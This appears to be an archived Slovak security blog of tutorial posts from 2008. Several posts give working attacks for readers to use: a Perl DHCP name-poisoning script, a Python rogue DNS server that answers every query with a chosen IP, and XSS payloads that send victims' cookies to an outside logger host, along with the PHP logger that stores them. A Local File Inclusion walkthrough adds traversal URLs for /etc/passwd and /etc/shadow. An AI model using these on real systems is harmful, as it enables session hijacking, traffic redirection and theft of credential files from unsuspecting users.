Mnoho laptopov je konfigurovaných na používanie krátkych mien, keď sú využívané v rámci spoločnosti a v domácom prostredí. Jednoducho umiestnené proxy servery je pravdepodobne volané proxy, mailové servery sú volané mail, WPAD server je volaný wpad, a tak dalej. V situácií keď je klient spojený s HotSpotom, spýta sa na meno, ale nenájde povinnú ip a tak DNS server nemôže rozhonúť o mene. Ale toto nieje prípad s každou aktívnou DHCP sieťou. Meno klienta v DHCP môže byť stanovené použitím a ako taký môže vytvárať doménové mená pre proxy a mail. To znamená, že použitím jednoduchej UDP DHCP požiadavky, útočník môže zmeniť meno známej služby a presmerovať jeho traffic. Toto je to, čo by som chcel odkázať na DHCP name poisoning attack. Situácia je potom ešte horšia ako sa zdá.

pdp navrhol jednoduchý skript s ktorým môžete testovať či je vaša sieť zraniteľná alebo nie.

#!/usr/bin/env perl

use File::Basename;
use IO::Socket::INET;
use Net::DHCP::Packet;
use Net::DHCP::Constants;

$usage = "usage: ".basename($0)."    \n";

$mac = shift or die $usage;
$ip = shift or die $usage;
$domain = shift or die $usage;
$name = shift or die $usage;

$request = Net::DHCP::Packet->new(
Xid => 0x11111111,
Flags => 0x0000,
Chaddr => $mac,
DHO_DHCP_MESSAGE_TYPE() => DHCPREQUEST(),
DHO_HOST_NAME() => $name,
DHO_VENDOR_CLASS_IDENTIFIER() => $mac,
DHO_DHCP_REQUESTED_ADDRESS() => $ip,
DHO_DOMAIN_NAME() => $domain,
DHO_DHCP_CLIENT_IDENTIFIER() => $mac
);

$ack = Net::DHCP::Packet->new(
Xid => 0x11111111,
Flags => 0x0000,
Chaddr => $mac,
DHO_DHCP_MESSAGE_TYPE() => DHCPACK(),
);

$handle = IO::Socket::INET->new(
Proto => 'udp',
Broadcast => 1,
PeerPort => '67',
LocalPort => '68',
PeerAddr => '255.255.255.255'
) or die "Socket: $@";

$handle->send($request->serialize()) or die "Error sending broadcast request:$!\n";
$handle->send($ack->serialize()) or die "Error sending broadcast act:$!\n";

WiFi Bezpečnosť

noreply@blogger.com (Unknown) — Mon, 31 Mar 2008 16:36:00 +0000

Jedno zo základných pravidiel, o ktorom sa nedočítate v žiadnej bezpečnostnej príručke ani knihe o bezpečnosti a ktoré sa môžete naučit len z praxe je, že všetko je v symbióze . To znamená, že bezpečnostné modely individuálnych komponentov v systéme sú na seba vzájomne naviazané.

Keď hovoríme o WiFi bezpečnosti, obyčajne zakopneme o vec ako je (za)kódovanie, WPA a WPA2, 802.11 autorizácia, klientské certifikáty, sieťová členitosť, atd. Doposiaľ žiadna z týchto technológií neposkytuje bezpečnosť ale skôr veci ako súkromie, verifikácia identity a autorizácia. Toto sú základné komponenty WiFi, ale v žiadnom prípade to neznamená komplexné riešenie všetkých problémov.

Fizické diery

Toto je jeden z najstarších trikov. Je to ako trójsky kôň v starovekom Grécku. Stratégia je veľmi prostá. Keď jeden nájde spôsob ako dostať fyzický prístup k budove, on/ona môže rozvinúť bezdrôtový prístup, ktorý bude neskôr využitý. A teraz, aký tvrdý je ten prístup?
Ľahší ako si myslíte! Myslím na to, že spoločnosti uzatvárajú obchody. Ich budovy niesu neprekonateľné pevnosti .Mnohokrát fyzické diery sú skoro také jednoduché ako chodenie po vestibule a hľadanie nechráneného sieťového adaptéra.

Návštevníci WiFi

Vaša WiFi sieť je pravdepodobne zabezpečená, ale aká je bezpečnosť vášho obchodného partnera? Spoločnosti majú nezabezpečené WiFi siete, ktoré sú špecifické tým, že sú navrhnuté len pre návštevníkov(hostí). Tieto siete sú celkom "otvorené" a majú niečo ako BlueSocket. Hostia vložia svoje vstupné heslá a sú tam. Žiaľ ich celý traffic cestuje čistý a jasný vzduchom tak dobre ako ich POP3 prihlasovacie dáta a http sessions.

Owned WiFi

noreply@blogger.com (Unknown) — Mon, 31 Mar 2008 13:33:00 +0000

Posledných pár dní som sa začal zaujímať o pripojenie sa k wifi bez wep kľúča kde je útočník schopný zmeniť primárny DNS server na routery. Toto je v dnešnej dobe dosť závažný bezpečnostný problém ako útočník môže prísť k vašim detailom o kreditnej karte alebo nejakým iným rovnocenným informáciám.

Predstavte si, že ste v hoteli spolu s vašim laptopom. Ste pripojení na wifi a nachádzate sa na front page google.com. Kompletná url je http://www.google.com a otázka znie, je táto stránka pravá(autentická)? Útočník by mohol mať prístup k routeru a zmeniť primárny DNS server prostredníctvom dostupných metód.

Teoreticky by útočník mohol použiť hocijakú Ip adresu k "naťahovaciemu triku", pokiaľ by DNS server bol spustený za UDP portom 53. No viacej užitočné by bolo, ak by napádateľ mal pod kontrolou DNS server, tak môže ukázať užívateľovi to, čo by vidieť chcel.
Príklad, užívateľ môže napísať webovú stránku banky a skončiť tak následovne v phisingovej stránke, ktorá môže byť vizuálne spravená úplne rovnako. Takže nič netušiaci užívateľ si pekne zadáva údaje priamo do loggeru útočníka. Je to veľká hrozba, ktorá môže ovplyvniť kohokoľvek kto nemá zabezpečený svoj systém.

pdp vytvoril skript v Pythone, ktorý funguje ako prechodný DNS server a bude meniť všetky požiadavky na "overené".

# DNS Injection Server
# Created By fazed
# DNSQuery class adapted from Francisco Santos's
# code. why re-invent the wheel?

from socket import *

class DNSQuery:
def __init__(self, data):
self.data=data
self.domain=''

tipo = (ord(data[2]) >> 3) & 15
if tipo == 0:
 ini=12
 lon=ord(data[ini])
 while lon != 0:
   self.domain+=data[ini+1:ini+lon+1]+'.'
   ini+=lon+1
   lon=ord(data[ini])

def respond(self, ip):
packet=''
if self.domain:
 packet+=self.data[:2] + "\x81\x80"
 packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00'
 packet+=self.data[12:]
 packet+='\xc0\x0c'
 packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04'
 packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.')))
return packet

print ":: DNS Injection Server Started ::"
sh = socket(AF_INET, SOCK_DGRAM)
print "Socket Handle Created.."
sh.bind(('',53))
print "Socket Handle Bound To UDP Port 53"
ip = raw_input("IP to inject: ")
try:
while 1:
   data, addr = sh.recvfrom(1024)
   print "DNS Request From:", addr[0]
   p = DNSQuery(data)
   print "Sending IP address:", ip
   sh.sendto(p.respond(ip),addr)
   print "Response Sent.."
except KeyboardInterrupt:
print ":: DNS Injection Server Stoped ::"
sh.close()

Self-Contained XSS útoky

noreply@blogger.com (Unknown) — Sat, 29 Mar 2008 20:07:00 +0000

Podstatou všetkých cross-site scripting (xss) útokov je ich "neošetrená ukecanosť". V tom je krása každej aplikácie - či je vstup zraniteľný a či môže byť potencionálne využiteľný útočníkom k session stealingu, zhromaždovaniu dôležitých informácií, atd.

XSS útoky môžu byť perzistantné (trvalé) alebo neperzistatné (dočasné). Perzistatné útoky sú nebezpečnejšie, pretože je možné dlhšie infikovať užívateľov (a je aplikovateľný na všetkých navštevníkov...nie je potrebné sociálne inžinierstvo). Neperzistentný útok, i ked je menej nebezpečný, sa veľmi často využíva v phishingu a taktiež je oveľa viac zaužívaní. No to už väčšina z vás predpokladám vedela a nemalo by to byť pre vás nič nové.

Táto metóda môže byť úspešne použitá v obchádzaní mailových filtroch, xss filtroch, firewalloch alebo neošetrených funkciách. Výsledok Self-Contained XSS si môžete vyskúšať na tomto linku.
Názov "Self-Contained XSS" vysvetľuje všetko. Je to Cross-site scripting útok, ktorý nevyžaduje zraniteľnosť vstupu. Všetko potrebné je zahrnuté v url. Hneď ako bude spustená url, zdroj (teda skript) bude spustený.

Url musí mať prefix data: protokol a nasledovná špeciálna syntax. Je mnoho protokolov v moderných browseroch ako napríklad http:, https:, ftp:, about:, data:

Dopad Self-contained XSS môže byť väčší ako si dokážete predstaviť. Táto technika umožňuje dinamické vytváranie binárnych súborov z JavaScriptu. JavaScriptový wormovia sú schopný vytvoriť DOC a PDF súbory, tie môžu obsahovať zlomyseľný obsah pre využitie rôznych "overflow" zraniteľností. Ako príklad uvediem Self-contained word dokument, ktorý je mimochodom v tomto prípade absolútne neškodný.

data:application/msword;base64,0M&

Neviem ako na kód budú reagovať ostatné prehliadača ale Firefox by s tým problém mať nemal a myslím že Opera tiež nie.

Source: pdp

JavaScript Link Scanner

noreply@blogger.com (Unknown) — Sat, 23 Feb 2008 14:50:00 +0000

Scanner rozpozná či ste už navštívily webovú stránku uvedenú v textboxe, ak áno, priradí k nej booleovskú hodnotu true a naopak ak ste na nej ešte neboli, zobrazí sa vám false.Fičať by to malo na IE 6.0 7.0 , FireFoxe a aj v Opere.Bohužiaľ blogspot má automatické riadkovanie (<br>) a tak som mohol uviesť do textboxu iba jeden príklad, keby som uviedol viac hádzalo by tam <br>, to ale nič nemení na veci, linky na scan si tam môžte doplniť sami.

linky

Zdrojový kód Petka Petkova si môžte stiahnuť tu

Kradneme sušienky

noreply@blogger.com (Unknown) — Sat, 16 Feb 2008 10:59:00 +0000

Cookie Stealing with non-persistent xss

No poďme hneď na vec. Ako prvé si samozrejme musíme nájsť fugu v url na dotyčnom webe. Tu máme našu:
http://www.example.sk/index.php?paper&name=<script>alert(xss);</script>
toto je samozrejme ten úplne najjdenoduchší pripad využitia xss a často krát budete musieť použiť tvz. bypassy alebo zakódovať url, ale to nieje gro tohoto článku.
Môžme si nechať vypísať svoje cookies
http://www.example.sk/index.php?paper&name=<script>alert(document.cookie)</script>
týmto by sme samozrejme nič nezískali, chýba nám nejaký skript ktorý by umožňoval odchytávať prichádzajúce dáta a ako už niektorí možno tušia, je to Cookie Logger . Po absolvovaní registrácie vám bude pridelené vaše ID ktoré ochvíľu použijeme v tvare:

http://ccl.whiteacid.org/log.php?598648

zeleným je vyznačené ID. Sušienky zašleme pomocou location.href a príjmeme document.cookie . Url bude teda vypadať približne takto

http://www.example.sk/index.php?paper&name=<script>location.href="http://ccl.whiteacid.org/log.php?598648"+document.cookie</script>

Cookie Stealing with persistent xss

Tu je to už o niečo tažšie na uskutočnenie a veľa vecí nemusí výsť podľa vaších predstáv. Najprv si musíme nájsť nejakú návštevnú knihu/fórum/diskusiu, dačo kde by sme mohli aplikovať JavaScript.
V prvom rade si vytvoríme súbor, ktorý bude obsahovať:

 <?php                   
$cookie = $HTTP_GET_VARS["cookie"];
$file = fopen('logger.txt', 'a');
fwrite($file, $cookie . "\n\n");
?>

súbor uložíte napríklad ako zlodej.php, následne umiestnite na váš server a nastavte atribút 777 aby sa dalo doňho zapisavať.
Do vstupu (guestbook, diskusia, ..) vložíme približne takýto skript, ako som už povedal, je častokrát potrebné skript ušiť na mieru, preto toto berte viacmenej len ako malý ťahák.

<script>document.location="http://www.mojserver.sk/zlodej.php?cookie="+document.cookie</script>

Nuž, teraz musíme len čakať kým sa nám nejaký user alebo ešte lepšie administrátor pozrie do diskusie kde je skript vložený, akonáhle to spravý, jeho cookies sa nám odošlú na náš logger skadiaľ si ich vyzdvihneme, prepíšeme za tie naše a prihlásime sa pod stealnutými sušienkami. Takže ako vidíte, xss nieje kozmetická chyba, za ktorú ju mnoho programátorov považuje, ale naozaj ide o závažnú zraniteľnosť.

Local File Inclusion

noreply@blogger.com (Unknown) — Sun, 10 Feb 2008 13:03:00 +0000

Tak v skratke Local File Inclusion (LFI) je metóda pomocou ktorej si môžeme zobraziť obsah, ktorý by sme za normálnych okolností nevideli.

Ok, máme webovú stránku:

http://www.example.sk/index.php?post=options.php

a skúsime otvoriť adresár pomocou ../

http://www.example.sk/index.php?post=../

ak máme práva na zobrazovanie tohto adresára načítajú sa nám súbory, ktoré sú v ňom uložené, to je ale veľmi nepravdepodobné a stránka nám vráti chybovú hlášku. Skúsme si teraz načítať súbor /etc/passwd.

http://www.example.sk/index.php?post=../../../etc/passwd

umiestnenie súboru zistíte pomocou ../ a to tak, že budete postupne pridávať až sa vám načítajú užívateľské mená (/etc/passwd), samozrejme ak je webová stránka náchylná na tento typ útoku.
Ďalej môžme použiť bypass null byte ktorého hexa kód je %oo a v našom prípade výsledná url bude vypadať takto:

http://www.example.sk/index.php?post=../../../etc/passwd%oo&id_user=86

tento bypass spôsobý, že všetko za ním bude ignorované (v našom prípade id_user )
Ešte niekoľko zaujímavých príkladov lokálneho skriptovania:

/etc/passwd
/etc/shadow
/etc/group
/etc/profile
/etc/hosts
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default

Je to veľmi zaujímavá metóda, ale musím podotknúť, že na ňu treba istú dávku šťastia. Tí, ktorý pochopili problematiku vedia, že hore uvedené adresáre im môžu, ale aj nemusia pomôct na náchylnej stránke pretože web môže mať úplne odlišný strom adresárov.

Hacker dostal mastnú pokutu

noreply@blogger.com (Unknown) — Sun, 03 Feb 2008 12:57:00 +0000

V estónskom hlavnom meste Tallin bol odsúdený prvý počítačový pirát, ktorý zaútočil na webové stránky štátnych inštitúcií. Dvadsaťročný Estónec ruskej národnosti sa priznal, že vyradil z prevádzky internetovú stránku premiéra Andruse Ansipa. Dostal pokutu v prepočte približne za 30 000 našich korún čo neni tak hrozne ale stálo mu to za to?Ja myslím že nie ■

Nová hrozba s názvom Vishing?

noreply@blogger.com (Unknown) — Sun, 03 Feb 2008 11:08:00 +0000

IC3 (Internet Crime Complaint Center, FBI) varuje na rastúce útoky pod názvom vishing. Technológia vishing nabáda obete na komunikáciu za účelom riešenie technických problémov alebo problémov s účtom v ich banke . Ide o podvod, kde zločinecké skupiny zasielajú e-mail alebo textové správy na mobilné telefóny obetiam, ktoré hovoria o vzniknutom bezpečnostnom probléme a žiadajú obeť aby kontaktovala telefonicky priamo ich alebo banku z dôvodu reaktivácie kreditnej alebo debetnej platobnej karty. Po zavolaní na telefónne číslo, ktoré bolo uvedené v správe sa ozve uvítanie banky a následne žiadosť o zadanie čísla karty alebo iných údajov, ktoré útočník potrebuje pre zneužitie pod zámienkou vyriešenia bezpečnostných alebo iných problémov. Tieto útoky zosilneli najmä preto, že v posledných rokoch výrazne zlacnela VoIP technológia a pribudli open source call centrá, ktoré je možné takto zneužívať. Bezpečnostný experti hovoria, že vishing môže byť oveľa efektívnejší ako tradičné phishing technológie, ktoré obete presmerujú na nepravé stránky zväčša bankových inštitúcií najmä z dôvodu, že táto forma útokov nie je ešte tak rozšírená. Pre zabránenie zneužitia prostredníctvom vishingu sa odporúča aby ľudia po prijatí správy alebo telefonického hovoru, kde odosielateľ sa predstavuje ako banka si overili či ich kontaktovala naozaj banka a to tak, že si skontrolujú kontaktné údaje na internete a priamo banku kontaktujú alebo sa dostavia do banky osobne ■

Spustenie webu

noreply@blogger.com (Unknown) — Thu, 31 Jan 2008 19:18:00 +0000

Tak a je to tu!Konečne som spustil svoj vlastný web cez stránku blogger

O čom budem písať?

Prevažne o bezpečnosti webových aplikácií, o možných zraniteľnostiach alebo metódach útoku na webovú stránku.Súčasne sa budem snažiť držať temto s dobou a vydávať aktuálne novinky ■